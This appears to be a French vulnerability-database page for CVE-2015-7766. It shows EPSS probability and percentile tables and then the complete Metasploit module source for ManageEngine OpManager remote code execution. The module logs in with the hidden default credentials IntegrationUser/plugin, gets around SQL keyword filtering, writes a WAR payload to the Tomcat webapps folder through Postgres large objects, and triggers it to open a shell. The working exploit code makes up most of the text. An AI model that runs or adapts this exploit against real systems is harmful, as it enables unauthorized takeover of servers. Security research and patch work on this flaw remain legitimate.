CVE-2015-7766 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.78%	–	–
2022-03-20	–	–	1.78%	–	–
2022-04-03	–	–	1.78%	–	–
2022-08-21	–	–	1.78%	–	–
2022-10-16	–	–	0.85%	–	–
2023-03-12	–	–	–	78.83%	–
2023-04-23	–	–	–	68.29%	–
2023-07-23	–	–	–	68.29%	–
2024-02-11	–	–	–	5.72%	–
2024-02-18	–	–	–	7.87%	–
2024-03-31	–	–	–	10.73%	–
2024-04-14	–	–	–	14.43%	–
2024-06-02	–	–	–	39.39%	–
2024-09-22	–	–	–	54.39%	–
2024-11-03	–	–	–	46.69%	–
2024-12-22	–	–	–	8.52%	–
2025-02-02	–	–	–	8.52%	–
2025-01-19	–	–	–	8.52%	–
2025-02-02	–	–	–	8.52%	–
2025-03-18	–	–	–	–	77.55%
2025-03-18	–	–	–	–	77.55,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-20	55%
2022-04-03	75%
2022-08-21	76%
2022-10-16	–
2023-03-12	98%
2023-04-23	97%
2023-07-23	98%
2024-02-11	93%
2024-02-18	94%
2024-03-31	95%
2024-04-14	96%
2024-06-02	97%
2024-09-22	98%
2024-11-03	98%
2024-12-22	94%
2025-02-02	95%
2025-01-19	94%
2025-02-02	95%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote # It removes large object in database, shoudn't be a problem, but just in case.... Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ManageEngine OpManager Remote Code Execution', 'Description' => %q{ This module exploits a default credential vulnerability in ManageEngine OpManager, where a default hidden account "IntegrationUser" with administrator privileges exists. The account has a default password of "plugin" which can not be reset through the user interface. By log-in and abusing the default administrator's SQL query functionality, it's possible to write a WAR payload to disk and trigger an automatic deployment of this payload. This module has been tested successfully on OpManager v11.5 and v11.6 for Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module ], 'References' => [ [ 'EDB', '38174' ], ], 'Platform' => ['java'], 'Arch' => ARCH_JAVA, 'Targets' => [ ['ManageEngine OpManager v11.6', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 14 2015', 'DefaultTarget' => 0)) end def uri target_uri.path end def check # Check version vprint_status("#{peer} - Trying to detect ManageEngine OpManager") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'LoginPage.do') }) unless res && res.code == 200 return Exploit::CheckCode::Safe end if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/ version = $1 if Gem::Version.new(version) <= Gem::Version.new('11.6') return Exploit::CheckCode::Appears else # Patch unknown return Exploit::CheckCode::Detected end elsif res.body =~ /OpManager/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def sql_query( key, query ) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'), 'vars_get' => { 'apiKey' => key }, 'vars_post' => { 'query' => query } }) unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Query was not succesful!") end res end def exploit print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'jsp', 'Login.do'), 'vars_post' => { 'domainName' => 'NULL', 'authType' => 'localUserLogin', 'userName' => 'IntegrationUser', # Hidden user 'password' => 'plugin' # Password of hidden user } }) if res && res.code == 302 redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "") print_status("#{peer} - Location is [ #{redirect} ]") else fail_with(Failure::Unknown, "#{peer} - Access to login page failed!") end # Follow redirection process print_status("#{peer} - Following redirection") res = send_request_cgi({ 'uri' => redirect, 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/ api_key = $1 print_status("#{peer} - Retrieved API key [ #{api_key} ]") else fail_with(Failure::Unknown, "#{peer} - Redirect failed!") end app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/\n/, '') print_status("#{peer} - Executing SQL queries") # Remove large object in database, just in case it exists from previous exploit attempts sql = 'SELECT lo_unlink(-1)' sql_query(api_key, sql) # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. sql = 'SELECT lo_create(-1)' result = sql_query(api_key, sql) if result.body =~ /lo_create":([0-9]+)}/ lo_id = $1 else fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!") end # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc. sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))" sql_query(api_key, sql) # Export our large object id data into a WAR file sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');" sql_query(api_key, sql) # Remove our large object in the database sql = 'SELECT lo_unlink(-1)' sql_query(api_key, sql) register_file_for_cleanup("tomcat//webapps//#{app_base}.war") register_file_for_cleanup("tomcat//webapps//#{app_base}") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end